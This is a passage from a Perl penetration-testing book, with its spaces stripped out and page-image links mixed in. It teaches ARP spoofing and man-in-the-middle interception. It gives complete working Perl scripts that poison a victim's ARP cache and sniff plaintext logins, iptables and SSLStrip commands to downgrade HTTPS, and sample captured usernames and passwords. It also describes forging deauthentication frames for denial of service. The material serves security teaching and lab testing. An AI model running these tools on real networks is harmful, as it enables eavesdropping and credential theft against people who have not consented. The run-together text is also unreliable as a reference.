There’snothingthatshouldstandoutasnewinthiscode,exceptthefancynewfiltersyntax,whichwasdescribedintheprevioussection.Wecalldie()ifthere’sanyerrorstringin$err.Weloopthroughatmost25receivedpacketsthatmatchthefilterandprintthemtoSTDOUT.WewillcallclosetoclosetheLibPcapnetworkfiledescriptoronexitintheEND{}compoundstatement.
Theoutput,whenwetrytologintoawebapplicationonourownport80,candisplayloadsofsensitivedata.Thiscanincludedatasuchasthevictim’suseragent,whichleadstoOS/browserdetectionforlaterremoteexploiting.ItcanalsorevealHTTPcookiedata,files,anddomainsthevictimisbrowsing,andasweseeinthefollowingprogram,italsoshowsoutput,usernames,passwords,andotherforminputdataonanynonencrypted(SSL/HTTPS)traffic:▒%P▒▒▒▒`▒P@`▒POST/wsn/logincheck.phpHTTP/1.1
Host:10.0.0.15
Connection:keep-alive
Content-Length:42
Cache-Control:max-age=0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin:http://10.0.0.15
User-Agent:Mozilla/5.0(WindowsNT6.3;WOW64)AppleWebKit/537.36(KHTML,
likeGecko)Chrome/34.0.1847.116Safari/537.36
Content-Type:application/x-www-form-urlencoded
Referer:http://10.0.0.15/wsn/login.html
Accept-Encoding:gzip,deflate,sdch
Accept-Language:en-US,en;q=0.8
Cookie:PHPSESSID=7opl7me97vbdo8v0bca30q8nt3
username=trevelyn&password=UltraPasswd4321@▒/E$d▒
E(X▒@@▒+
ThisisnottosaythatcapturinguserdataduringanSSL/TLSsessionisimpossible,itsimplyrequiresaMitMprogram,whichstripsthesecuredsocketlayerencryptionfromthevictim’ssession,suchasSSLStrip.
![Page 115: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/115.jpg)
MitMAMitMisalittlemoreadvancedthanpassivelyeavesdroppingonaconversation.Thisattackentailsthevictimcommunicatingtotheattacker,whorelaysthedatatothevictim’sintendedrecipientandviceversa.Indoingso,atrulysuccessfulMitMattackhappenswhentheattackeriscompletelytransparenttotheconversationandcanlistentotheentireconversation.Thisisaformofactiveintelligencegathering.Ifwearesuccessfulatthistypeofnetworkmanipulation,weshouldimmediatelycapturealltrafficforlateranalysis.Ifthetargetuserisusingend-to-endencryption,suchasSSLforHTTPtrafficcredentialsandothersensitiveformdata,wecanattempttouseSSLStriptoreadthetrafficinplaintext.
SSLStripisanopensourceMitMtoolthatallowsanattackertorelaytrafficfromthevictimtoasecuredSSL/TLSconnection.Sincetheattackerisinthemiddleoftheconversation,thetrafficfromthevictimtotheattackerisinplaintext.ThisgivestheopportunitytotheattackertosniffpacketswithsensitiveHTMLformdata.Thetrafficfromtheattackertoendserverorservicethatthevictimistryingtoaccess,however,isencryptedwithSSL/TLS.
![Page 116: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/116.jpg)
ARPspoofingwithPerlInourexamplesforthissection,wewillbeactingaswhatwouldnormallybethegatewaytotheInternetforourtargetnetwork.Onasimple-routednetworkornetworkaddresstranslation(NAT)network,alltrafficcanpassthroughacentralizedroutetotheInternetcalledthegateway.Thisisanalogoustoallclientsinasimplesmallofficehomeoffice(SOHO)networkpassingthroughthesubscriber’srouter-modemdevicetotheInternet.Ifwecanmakeanysystemonthenetworkbelievethatwearethegateway,thenwecansimplyforwardtheirintendedtraffictotheactualgatewayafterloggingitonoursystems.Allingresstrafficcomingbackthroughtheroutedgatewaywouldthencomebacktousaswecaptureandforwardittothevictim.Thisisexplainedinthefollowingdiagram:
Intheprecedingdiagram,weseeasimpleNATnetwork,wherealltrafficfromboththeattackerandvictimflowsthroughacentralizedgatewayorrouterbeforebeingsentofftotheInternet.Ourgoalisfor10.0.0.2tothinkthatwe,theattacker10.0.0.3,are10.0.0.1.Todoso,wewillpoisonthevictim’sARP-cachedtable.WewillsendagratuitousARPreplyto10.0.0.2,eventhoughitdidn’trequestone,statingthatthe10.0.0.1IPisnowat00:13:33:33:33:37,whichisourMACaddress,asshowninthefollowingdiagram:
![Page 117: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/117.jpg)
Whathappenshereisthatthevictim10.0.0.2inthediagramwillsimple-mindedlytrustthepacketandupdatetheARP-cachedtabletoreflectthisnewchange.
Duringnormaloperation,thevictim’sARPcachetablewillexpireandthevictimwillqueryourMACaddress,insteadofthebroadcastaddress,askinguswhere10.0.0.1is.AllwehavetodoislistenfortheARPrequestfromthevictim,withoperationcode1,andreplystatingthat10.0.0.1isstillatourMACaddress.Ifwestopreplyingtotherequests,thevictimwilleventuallygiveupafterafewattempts,andsimplybroadcasttherequesttoff:ff:ff:ff:ff:ffatwhichpointthegatewaywillrespondandhealthevictim’spoisonedARPcache.
Fromtheinitialreplypacketthatwesenttothevictim,untilwestoprespondingtotheARPrequests,allofthevictim’strafficmeantfortherouterwillcometous,asweseeinthefollowingdiagram:
![Page 118: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/118.jpg)
Let’stakealookathowwecanmanipulatethevictim’strafficflowatthedata-linklayerusingonlyPerlprogramming.ARPwasalreadyusedinChapter3,IEEE802.3WiredNetworkMappingwithPerl,todiscoverhostsonthenetwork.WealsogatheredMACaddressesandassociatedIPaddresseswithourPerlscanner.InournewARPspoofingprogram,wewillbeusingbothoperationcodes,1(forARPrequest)and2(forARPreply).Let’susetheNet::ARPmodulealongwithafewotherstopoisonavictim’sARPcache.Thiscachedtableisreferredtobythevictim’smachinebeforesendingtraffictothenetworkandhasaMACaddresstoIPaddressrelation.Inthefollowingcode,wesimplycreateaPCAPobject,aswedidmanytimesbefore:#!/usr/bin/perl-w
usestrict;
my$usage=“perlarpspoofer.pl<gatewayIP><targetIP><targetMAC>”;
die$usageunlessmy$gatewayIP=shift;
die$usageunlessmy$targetIP=shift;
die$usageunlessmy$targetMAC=shift;
useNet::Pcap;
useNet::ARP;
useNet::Frame::Simple;
useNet::Frame::Dump::Online;
useNet::Frame::Device;
my($err,$filter,$net,$mask,$packet,%header)=““x67;
my$dev=pcap_lookupdev(\$err);
my$myDevProp=Net::Frame::Device->new(dev=>$dev);
pcap_lookupnet($dev,\$net,\$mask,\$err);
my$filterStr=“(arp)&&(etherdst“.$myDevProp->mac.”)&&(ethersrc
“.$targetMAC.”)”;
my$pcap=Net::Frame::Dump::Online->new(
dev=>$dev,#networkdevice
filter=>$filterStr,#addattackersMAC
promisc=>0,#nonpromiscuous
![Page 119: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/119.jpg)
unlinkOnStop=>1,#deletestempfiles
timeoutOnNext=>1000#waitingforARPresponses
);
$pcap->start;
TheonlyrealdifferenceisthatweusetheNet::ARPPerlmoduleandthePCAPfilter,whichiscraftedspecificallyforARPrequests.
WebeginbymakingsurethatwegettheargumentsforthegatewayandtargetIPaddresses,andalsothetargetMACaddress.Next,wewillcallthepcap_lookupdevmethodfromNet::Pcaptogetourdevice’sinformation.
TipSincenotallnetworksandevenLinuxsystemsarethesame,wecansubstituteanynetworkingpropertyvariable,suchasthenetworkinterfacename(forexample,eth0oreth1),intoacommand-lineargumentforanyofourapplications.WesimplyusethePerlmodulestogathersomeoftheinformationautomaticallytoprovideexamplesoftheircapabilities.
Then,wewillusetheNet::Frame::DeviceclasstogettheEthernetaddress(MAC)forthe$devdevice.Afterthat,wewillcreatealistenerobject,$pcap,andcompileandsetafiltertoonlycaptureARPrequestscomingfromourvictimanddestinedforusas$filterStr.IfwesubstitutethevariablenamesforEthernetMACaddressesfromtheprecedingdiagrams,thestringwouldcompileasfollows:(arp)&&(etherdst00:13:33:33:33:37)&&(ethersrc00:DE:AD:BE:EF:37)
Alternatively,wecanalsoprogrammaticallyprocessanddisassembleeachpacketandcheckthevaluesfromtherefhashreferencecreatedbythenewFromDumpmethodoftheNet::Frame::Simpleclass.Finally,wecallthestartmethodofthe$pcapobject.Let’snowcontinuedownourcodetoourfirstsubroutine,sendARP(),whichsendstheARPpacketaftercraftingittoourspecifications:&sendARP;
subsendARP{
Net::ARP::send_packet(
$dev,
$gatewayIP,
$targetIP,
$myDevProp->mac,
$targetMAC,
“reply”);
&arpspoof;#sent,nowwaitforpackets
}
ThesendARP()subroutinecraftsandsendsourARPpacket.Ournextsubroutine,arpspoof(),loopsthroughallreceivedpackets,accordingtoour$filterStrfilter,disassemblesthem,checkstheARPoperationcode,andifthiscodeisforarequest,wesimplyrespondagainwithanARPreply.Inthefollowingcode,wehopetopoisonourtarget’sARPtablescausingtheirrequeststhatnormallygothroughthegatewaytocometous:subarpspoof{
until($pcap->timeout){
![Page 120: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/120.jpg)
if(my$next=$pcap->next){#frameaccordingto$filterStr
my$fref=Net::Frame::Simple->newFromDump($next);
if($fref->ref->{ARP}->opCode==1){#RequestARP
print“[-]gotrequestfromtarget,sendingreply\n”;
&sendARP;#opCode1(reply)
}
}
}
return;
}
#Thiswillbecalledtocleanupthepcapdump:
END{$pcap->stopif($pcap);print“Exiting.\n”;}
Let’sstepthroughthiscodetofullyunderstandhowitworks:
root@wnld960:~#perlarpspoof.pl10.0.0.110.0.0.1720:1a:06:cc:41:9a
[-]gotrequestfromtarget,sendingreply
[-]gotrequestfromtarget,sendingreply
[-]gotrequestfromtarget,sendingreply
ThisistheactualoutputfromourPerlARPspoofingprograminourlab.Eachtimethecachedtablefromthevictimexpires,theyqueryourMACaddress,asshowninthefollowingoutput:
root@wnld960:~#tshark-nlieth0-farp
Capturingoneth0
0.000000aa:00:04:00:0a:04->20:1a:06:cc:41:9aARP10.0.0.1isat
aa:00:04:00:0a:04
35.69205320:1a:06:cc:41:9a->aa:00:04:00:0a:04ARPWhohas10.0.0.1?
Tell10.0.0.17
35.692768aa:00:04:00:0a:04->20:1a:06:cc:41:9aARP10.0.0.1isat
aa:00:04:00:0a:04
59.19101420:1a:06:cc:41:9a->aa:00:04:00:0a:04ARPWhohas10.0.0.1?
Tell10.0.0.17
59.191606aa:00:04:00:0a:04->20:1a:06:cc:41:9aARP10.0.0.1isat
aa:00:04:00:0a:04
65.19151920:1a:06:cc:41:9a->aa:00:04:00:0a:04ARPWhohas10.0.0.1?
Tell10.0.0.17
65.192073aa:00:04:00:0a:04->20:1a:06:cc:41:9aARP10.0.0.1isat
aa:00:04:00:0a:04
Theparametersthatwepasstotsharkareasfollows:
n:Thisdisablesnetworkobjectnameresolution(showsIPaddress)l:Thisflushesthestandardoutput(showsinrealtimewithnobuffering)ieth0:Thisusestheeth0interfacefarp:ThissetsthePCAPfilterforARP
ThetsharkoutputshowstheARPrequeststhatourownARPspoofPerlprogramhandles.
Tip
![Page 121: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/121.jpg)
HavingnotedthatallnetworksarenotthesameandlotsoflargerscalenetworksmaynotevenuseagatewayfortheiregressandingresstraffictoandfromtheInternet.Also,arogueaccesspointmusthaveaccesstotheroutestothevictim’smachinestosuccessfullypulloffthistypeofattack.SomeotheropensourceimplementationsofARPspoofingprogramsmitigateanypossibilityfortheOSTCP/IPerrorfromMicrosoftWindows-basedsystemsbysimplysendingthegratuitousARPreplyeveryfewseconds.
![Page 122: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/122.jpg)
EnablingpacketforwardingPacketforwardingistherelayofpacketsfromonenodeonthenetworktoanother.Inourcase,wewillrelaypacketsfromthevictimtothegatewayandviceversa.ToallowpacketforwardingfromoursystemtotheInternet,setthevaluelocatedinthefile/proc/sys/net/ipv4/ip_forwardonmostmodernGNU-Linuxsystemsto1.ThisenablesIPforwardingasaGNU-Linuxkernelfunction.Wecanthentelliptablestoroutethetrafficfromporttoport.Forinstance,thefollowingcommandcanbeusedinconjunctionwiththepreviouslymentionedSSLStriputilitytoredirectthevictim’strafficcomingintoport80toourlocalport10000:
iptables-tnat-APREROUTING-ptcp—destination-port80-jREDIRECT—to-
ports10000
![Page 123: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/123.jpg)
NetworkremappingwithpacketcaptureLibPcapcanonlybeusedonceperdevice.Ifwetrytorunboththearpspoof.pltoolandoursimpleHTTPsnifferprogram,wewillnoticethatwestoprespondingtothevictim’sARPrequests.ThisproblemoccursbysniffingwithourARPspoofingprogramandsendingHTTPtrafficfromoursimpleHTTPsnifferprogramfromtheTheapplicationlayersectionsimultaneously.OnewaywecanbothperformanARPspoofandcaptureHTTPtrafficistosimplysendagratuitousARPreplyeveryfewsecondstothetarget,ratherthanwaitforthetargettosendustherequest.Anotherwayistoprogrammaticallycheckthepacket’scontentsfortheARPorHTTPtrafficandeithercapturetheHTTPtrafficorrespondtothevictim’sARPrequest.Let’swriteourownimplementationofthisconceptinPerl:#!/usr/bin/perl-w
usestrict;
useNetPacket::TCP;#packetdisassembly
useNet::Pcap;#sniffing
useNet::ARP;#craft,sendARPtotarget
useNet::Frame::Device;#getlocalMAC
my$usage=“perlmitm.pl<targetIP><targetMAC><gatewayIP>\n”;
my$targetIP=shift||die$usage;
my$targetMAC=shift||die$usage;
my$gatewayIP=shift||die$usage;
my($net,$mask,$filter,$err)=““x4;
my$dev=pcap_lookupdev(\$err);
my$myDevProp=Net::Frame::Device->new(dev=>$dev);#getmyMAC
pcap_lookupnet($dev,\$net,\$mask,\$err);
my$pcap=pcap_open_live($dev,65535,1,4000,\$err);
pcap_compile($pcap,\$filter,“port80orport443orarp”,1,$mask)&&die
“cannotcompilefilter”;
pcap_setfilter($pcap,$filter)&&die“cannotsetfilter”;
my$dumper=pcap_dump_open($pcap,“output.cap”);
print“SendinginitialARPtopoisonvictim.\n”;
&sendARP;#sendtheARPrequest
print“Listeningforport80,443andARP…\n”;
pcap_loop($pcap,-1,\&cap,0);
Inourfirstcodesnippet,wesettheprogramupbyincludinglibraries,settingourglobalvariables,andalsobeginningourworkflow.WewillbegintheworkflowbyprintingthatwearesendingaspoofedARPpackettothevictim.Thenwecallourfirstsubroutine,sendARP(),which,justasinourpreviouscode,sendstheARPpackettothevictim.Then,weprintthatwearelisteningforanARP,HTTP,andHTTPSrequest,whichwedoinourcap()eventhandlerofpcap_loop().Let’snowtakealookatthecap()subroutine:subcap{
my($user_data,$hdr,$pkt)=@_;
my$type=sprintf(“%02x%02x”,unpack(“x12C2”,$pkt));
if($typeeq“0806”){#wehaveanARP
#isitours?
if(sprintf(“%02x:%02x:%02x:%02x:%02x:%02x”,unpack(“C6”,$pkt))eq
![Page 124: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/124.jpg)
$myDevProp->mac){
if(sprintf(“%02x%02x”,unpack(“x20C2”,$pkt))eq“0001”){#RequestARP
print“[-]gotrequestfromtarget,sendingreply\n”;
&sendARP;#opCode1(reply)
return;
}
}
}else{#elseshouldbe80or443ports:
pcap_dump($dumper,$hdr,$pkt);#haven’tdied,sosaveit
my$len=length($pkt);
my$string=””;
for(my$i=0;$i<=$len;$i++){
$string.=pack‘H*’,unpack(“H2”,substr($pkt,$i,1));#perbyte
}
$string=~s/\R//g;
print“\n”,$string,”\n”if($string=~m/passw(ord)?=/ior$string=~
m/user(name)?=/ior$string=~m/login=/i);
}
}
Thecap()subroutineiswhatweusetoprocesseachincomingpacket.SincewehavecreatedasimplePCAPfiltertoonlycapturepacketsoftypesHTTP,HTTPS,andARP,wecansimplycheckthepackettypeforARP,andifnot,itwillbeHTTP/HTTPS.IfthepacketisofthetypeARP(0806),wecallthesendARP()subroutineagaintoresendtheARPresponse.Ifnot,wesavethepacketusingthepcap_dump()function.
Andfinally,inthefollowingcode,wehaveourtrustysendARP()subroutine,whichiswrittentheexactsamewayasinourpreviousexamples:subsendARP{
Net::ARP::send_packet(
$dev,
$gatewayIP,
$targetIP,
$myDevProp->mac,
$targetMAC,
“reply”)||die“cannotsendspoofedARPreplypacket\n”;
return;
}
END{
pcap_close($pcap)if($pcap);
pcap_dump_close($dumper)if($dumper);
print“Exiting.\n”;
}
Thecodewrittenherewilllistenforpacketsandrespondtothevictim’sARPrequests,orprintoutHTTPtrafficifausernameorpasswordwassentoverthewireinplaintext.IfwestarttheSSLStriputilityonourmachineandenableportforwardingwiththeip_forwardfileandIPtables,asshownintheprevioussections,wecancapturepasswordsthatwouldnormallybeencryptedinSSLtrafficaswell.TostartSSLStrip,wesimplyusethefollowingcommand:
Pythonsslstrip.py–l10000
Weusethe10000porttoredirecttraffictoasthisistheREDIRECTportusedinthe
![Page 125: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/125.jpg)
iptablescommandforpacketforwarding.Theoutputfromasimplequerytooutlook.comfromthevictimmachinethenlookslikethis:Connection:keep-alive
Content-Type:application/x-www-form-urlencoded
Content-Length:1227
login=trev412ol%40outlook.com&passwd=s3cr3tp4sswD&type=11
ThisistheoutputfromourPerlprogramasourtargetvictimattemptstologintooutlook.comwhilewearerunningSSLStripwithoursnifferandARPMitMtool.
![Page 126: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/126.jpg)
SummaryNowthatwehaveacompleteunderstandingofhowtocaptureandmanipulatenetworktrafficonthelocalnetwork,let’scontinueontoournextchapterandlearnmoreabouthowwecanusePerlwithwireless(802.11)networkingutilitiestosnifftraffic,crackWPApassphrases,andinterfacewiththeopensourceAircrack-ng802.11securitytestingsuite.
Inthenextchapter,wewillwriteourown802.11protocolanalysistoolsandscriptsfornetworkmanipulationtoolsfor802.11wirelessnetworksusingPerlprogramming.
![Page 127: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/127.jpg)
Chapter5.IEEE802.11WirelessProtocolandPerlInthischapter,wewillbewritingourown802.11protocolanalysistoolsandscriptsfornetworkmanipulationtoolsfor802.11wirelessnetworksusingPerlprogrammingandtheAircrack-ngsuite.Theseattacksandintelligence-gatheringtechniquesarecoveredinthePenetrationTestingExecutionStandard(PTES)underCovertGatheringandRF/WirelessandRadioFrequency(RF)Access.
![Page 128: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/128.jpg)
802.11terminologiesandpacketanalysisInthissection,wewilllearnhowtodisassembleandanalyzethefieldvaluesof802.11framesbysteppingthroughtheframes,similartowhatwedidinChapter4,IEEE802.3WiredNetworkManipulationwithPerl,withawiredEthernetframeonaper-bytebasis.Theonlydifferencewillbetaggedparameters,whichneedtobemappedandcheckedfortheendiannessoftheirvalues,whichwewillcoverinmoredetailinthe802.11frameheaderssection.
Thereareseveral802.11packetclassesthatwewillcover,andtheseareasfollows:
Managementframes:0x00Control:0x01Data:0x02
Thehexadecimalnumberaftertheclasstypeisthepackettypevalueusedinthe802.11protocol.Thistypevalueinthepacketsisusefulforfilteringpurposes.
![Page 129: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/129.jpg)
ManagementframesEachclasshasitsownuniquesubtypes,properties,andfunctionsinthe802.11protocol.ManagementframesareusedtoestablishandmaintainconnectionsbetweenAccessPoints(APs)andclients.Theseframesarenotencrypted,evenonprotectednetworks,andwecanusethistoouradvantagewhileintelligence-gatheringwithPerl.Thesubclassesofmanagementframesincludethefollowingfunctions:
0x01authentication0x02deauthentication0x03associationrequest0x04associationresponse0x05reassociationrequest0x06reassociationresponse0x07disassociation0x08beacon0x09proberequest0x0aproberesponse
DeauthenticationframescanbeeasilyforgedorreplayedintotheRFmediumtoatargetclienttodroptheclient’sconnection.Thisprocesscanbeusedforadenialofservice(DoS)attackortoinduceafour-wayWPA2EAPOLhandshake.Indoingthis,wecancapturethepacketsandpossiblycrackthepassphraseusingourown,offline,bruteforceWPA2passwordrecoverytoolthatwewillwriteinChapter9,PasswordCracking.
![Page 130: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/130.jpg)
ControlanddataframesControlframesoftype0x01areusedtocontrolthetransmissionofdataonaWLAN.Theseframesarealsonon-encryptedonaprotectednetworkandincludethefollowingsubtypes:
0x0brequesttosend(RTS)0x0ccleartosend(CTS)0x0dacknowledgement(ACK)
EveryprotocolissusceptibletoDoSattacks,and802.11isnodifferent.ThisisespeciallyduetoitssharedRFmedium.ThePTESdescribeshowwecanreplayRTScontrolframescontinuallyforaDoSattackonaBSS.
Dataframesareusedforthetransferofactualapplicationlayerdata,andareoftype0x03.
Wealsoneedtobefamiliarizedwithafewotherterms,whichareasfollows:
Basicservicesetidentifier(BSSID):ThisistheMACaddressoftheAPExtendedservicesetidentifier(ESSID):Thisisahuman-readablenameoftheAP,forexample,linksysorfreepublicWi-FiDistributionsystem(DS):Thisistheinterconnectivityofthewirelessaccesspointtoothernetworknodes,includingmodems,switches,routers,andevenotheraccesspoints
![Page 131: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/131.jpg)
LinuxwirelessutilitiesLinux,asmentionedinthepreviouschapters,offersavastwealthofnetworkingutilitiesatourdisposal.Thisincludes802.11wirelessnetworkingutilitiesaswell,andwewillgothroughafewprogramsthatwecanusealongwithourPerlscripts.Someoftheseutilitiesinclude:
modprobe
iw
airmon-ng
ifconfig
iwconfig
ethtool
iwlist
wlanconfig
wpa_supplicant
MostoftheseutilitiesarecoveredinthePTESTechnicalGuidelines.Modprobeisusedtoloadandunloaddevicedriversthatarecompiledaskernelmodules.WhenusedinourPerlscripts,modprobecanhelpusdeterminetheavailabilityofcertainwirelessnetworkinterfacecard(WNIC)drivers.Airmon-ngisascriptedinterfaceforseveralotherutilitiestosetandremovenetworkpropertiesfordevicesandvirtualdevices,includingiwconfig,iw,andwlanconfig.Iwlistcanbeusedtogetdetailsofaparticularwirelessdevice,includingsurroundingAPs.ifconfigisalsoautilitythatqueriesthedeviceinformationthatwecanusetoalsoturnonandoffdevices.WecanuseiwtosetupaconnectiontoawirelessAPifitisopenorWEP-protected.Todothis,let’stryanexamplefromourbashshell:
1. First,weturnoffthedevicetochangeitssettingswiththefollowingcode:
ifconfigwlan0down
2. Then,wemakesurethatthedeviceisintheManagedmode,whichisthemodeweusetoattachtoaBSSinfrastructure,usingthefollowingcode:iwdevwlan0info
3. Then,wesimplychangethesettingsofourWNICfrequency(802.11channel)withthefollowingcode:iwsetfreq2462
4. Nowwecanconnecttothenetworkbyauthenticatingandassociatingwiththefollowingcode:iwwlan0connectWeakNetLabskeys0:1337cafe69
5. Finally,weasktheDHCPserverforanIPusingthefollowingcode:dhclientwlan0
![Page 132: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/132.jpg)
WecanalsoveryeasilywriteourownNICandWNICinformation-queryingutilitieswithPerl.Infact,sinceeverythinginLinuxisafile,thencan’twejustusePerltoqueryfilesforinformationaboutwirelessadapterdevices?Theanswerisyes,wecan.
UsinganupdatedGNULinuxOS,wemightfindadirectorylabeled/sys/class/net/.Inthisdirectory,wemightalsoseethelabelsofournetworkdevices,forexample,wlan0,mon0,eth1,pan0,andeventheloopbackdevicelo.Thesearedirectoriesthatcontainevenmorefiles,eachnamedaccordingtotheircontentandaccordingtothepropertyofthedevice.Thisisaclass-baseddevicemodel,andthesedirectoriesanddataareactuallycreatedbytheLinuxkernelusingsysfs.Let’scheckthedirectoryforourwirelessadapter,wlan0,asshowninthefollowingcommand:
root@wnld960:~#tree/sys/class/net/wlan0
/sys/class/net/wlan0
├──addr_assign_type
├──address
├──phy80211->../../ieee80211/phy5
├──power
├──queues
│├──rx-0
││├──rps_cpus
│└──tx-0
│├──byte_queue_limits
│└──xps_cpus
├──speed
├──statistics
│├──collisions
│└──tx_window_errors
└──wireless
10directories,57files
root@wnld960:~#
Thisisa(trimmeddown)snippetfromtheLinuxprogramtree,whichdisplaysthecontentsofadirectoryinatreestructure.Wecansee,fromthefewfileslisted,thatloadsofusefulinformationcanbeobtainedfromthem.Infact,weseeoneinparticularthat’slabeledwireless,andweknowthatthisisawirelessdeviceasthatfileisnotpresentwhencheckingthedirectorytreeofawiredEthernetdevice.RememberthatweusedtheNet::Frame::DevicePerlmodulefromChapter3,IEEE802.3WiredNetworkMappingwithPerl,tofindourlocalMACaddress?Let’squicklycheckouttheaddressfiletogatherourwirelessdevice’sMACaddressasanexamplewhilenotusinganyPerlmodules:
root@wnld960:~#perl-wpe‘print“MAC:”’\/sys/class/net/wlan0/address
MAC:00:c0:ca:53:01:82
WeseefromthePerlone-linerthatthe/sys/class/net/wlan0/addressfilecontainstheMACaddressforourWNIC,wlan0.Fromtheprecedingtreeoutput,wealsoseethePHYchipidentifier,whichisphy5.Thisidentifiercanbeusedwhenwithiwtocreatevirtualdevices.Now,wecanenumeratethelocaldevicesveryeasilybysimplygettingthedirectorycontentsof/sys/class/net,andwewillusethistoouradvantageinPerlinthenextsection.
![Page 133: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/133.jpg)
RFMONversusprobingWealreadyknowthatLinuxisaverypowerfulOS.Itallowsustocontrolandutilizeourownhardwareinanycustomizedwaythatwecancomeupwith,usingcode.Asfarassearchingoursurroundingareaforwirelessnetworktrafficisconcerned,wehaveafewoptionsatourdisposal.
Theiwconfigurationutilityisthefirstprogramwewillworkwith.Thisprogramhasreplacedthenowdeprecatediwconfigprogram.Itperformsmanywireless-relatedtasksandreturnsallinformationaboutaspecifieddevice.TheinformationreturnedcanbeeasilyparsedinourPerlprograms.Let’stakeaquicklookatsomeofthescanoutputusingiw:
root@wnld960:~#iwdevwlan0scan
BSS00:1d:d0:f6:94:b0(onwlan0)
TSF:320752025972usec(3d,17:05:52)
freq:2422
beaconinterval:100TUs
capability:ESSPrivacyShortSlotTimeAPSD(0x0c11)
signal:-22.00dBm
lastseen:1184msago
InformationelementsfromProbeResponseframe:
SSID:WeakNetLabs
Supportedrates:1.0*2.0*5.5*11.0*9.018.036.054.0
DSParameterset:channel3
ERP:Barker_Preamble_Mode
Extendedsupportedrates:6.0*12.0*24.0*48.0
HTcapabilities:
Capabilities:0x0c
HT20
SMPowerSavedisabled
NoRXSTBC
MaxAMSDUlength:3839bytes
NoDSSS/CCKHT40
MaximumRXAMPDUlength65535bytes(exponent:0x003)
MinimumRXAMPDUtimespacing:4usec(0x05)
HTRXMCSrateindexessupported:0-15
HTTXMCSrateindexesareundefined
HToperation:
*primarychannel:3
*secondarychanneloffset:below
*STAchannelwidth:20MHz
*RIFS:0
*HTprotection:no
*non-GFpresent:1
*OBSSnon-GFpresent:0
*dualbeacon:0
*dualCTSprotection:0
